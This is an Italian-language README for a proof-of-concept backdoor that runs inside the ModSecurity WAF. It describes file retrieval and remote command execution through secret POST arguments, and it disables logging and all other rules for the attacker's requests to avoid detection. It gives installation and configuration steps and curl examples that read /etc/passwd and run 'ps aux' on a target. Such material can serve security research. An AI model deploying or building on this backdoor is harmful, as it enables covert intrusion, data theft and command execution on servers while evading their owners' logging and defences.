Backdoor ModSecurity

Descrizione

Questa è una prova di concetto di software dannoso in esecuzione all'interno del WAF ModSecurity.

Il software ha due funzioni principali:

• Recupero del contenuto di file.
• Esecuzione di comandi e recupero dell'output (shell remota).

Inoltre, include queste funzioni:

• Impostazione dinamica dei nomi degli argomenti POST di controllo per una maggiore difficoltà di rilevamento.
• Disabilitazione del logging per una maggiore difficoltà di rilevamento (solo per le richieste dell'attaccante identificate dai nomi degli argomenti POST).
• Disabilitazione di tutte le altre regole (solo per le richieste dell'attaccante identificate dai nomi degli argomenti POST).

Prerequisiti

• ModSecurity compilato con supporto Lua
• Lua
• Le direttive ModSecurity SecStreamOutBodyInspection e SecContentInjection devono essere impostate su On

Installazione

Ottenere i file backdoor.conf e backdoor.lua e caricare il primo nel server web.

Configurazione

La configurazione può essere effettuata nella prima regola del file backdoor.conf.

tx.backdoor_file_argument_name

Questa impostazione può essere utilizzata per impostare il nome dell'argomento POST usato per recuperare il contenuto dei file. Impostarlo su qualcosa di casuale come koomem6Shmog.

tx.backdoor_command_argument_name

Questa impostazione può essere utilizzata per impostare il nome dell'argomento POST usato per eseguire i comandi. Impostarlo su qualcosa di casuale come tys4Olhuibves.

Utilizzo

I comandi possono essere eseguiti su qualsiasi indirizzo (dominio) del server di destinazione che si trova dietro il WAF ModSecurity. L'output dei comandi viene aggiunto alla risposta standard del server.

Esempi di utilizzo

Recupero del contenuto di un file:
curl -X POST -d "koomem6Shmog=/etc/passwd" "http://example.com/"

Esecuzione di un comando e ottenimento dell'output:
curl -X POST -d "tys4Olhuibves=/bin/ps aux" "http://example.com/"

Licenza

Copyright (c) 2022 Jozef Sudolsky. Tutti i diritti riservati.

"THE BEER-WARE LICENSE" (Revision 42): [email protected] ha scritto questo file. Finché mantieni questo avviso puoi fare quello che vuoi con questa roba. Se ci incontriamo un giorno e pensi che questa roba valga qualcosa, puoi offrirmi una birra in cambio. Jozef Sudolsky